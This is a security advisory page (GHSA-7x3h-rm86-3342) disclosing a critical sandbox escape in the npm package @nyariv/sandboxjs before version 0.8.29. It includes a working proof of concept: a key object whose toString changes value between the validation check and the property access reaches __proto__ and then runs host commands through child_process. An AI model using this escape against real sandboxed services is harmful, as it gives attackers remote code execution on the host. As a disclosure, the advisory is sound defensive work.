GHSA-7x3h-rm86-3342

Suggest an improvement
Source
https://github.com/advisories/GHSA-7x3h-rm86-3342
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-7x3h-rm86-3342/GHSA-7x3h-rm86-3342.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-7x3h-rm86-3342
Aliases
Published
2026-02-05T21:33:04Z
Modified
2026-02-06T22:22:04.213605Z
Severity
  • 10.0 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H CVSS Calculator
Summary
@nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses
Details

Summary

A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.

Details

Even though the key used in property accesses (b in the code below) is annotated as string, this is never enforced: https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304 So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access.

PoC

const Sandbox = require('@nyariv/sandboxjs').default;

const code = `
let a = new Map;
a.x = 23;
let count = 0;

let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
  isFinite.constructor(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run(); 

Impact

Remote code execution, if attacker can execute code inside the sandbox.

Database specific
{
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-367",
        "CWE-74"
    ],
    "github_reviewed_at": "2026-02-05T21:33:04Z",
    "nvd_published_at": "2026-02-06T20:16:11Z",
    "severity": "CRITICAL"
}
References

Affected packages

npm / @nyariv/sandboxjs

Package

Name
@nyariv/sandboxjs
View open source insights on deps.dev
Purl
pkg:npm/%40nyariv/sandboxjs

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.8.29

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-7x3h-rm86-3342/GHSA-7x3h-rm86-3342.json"
last_known_affected_version_range
"<= 0.8.28"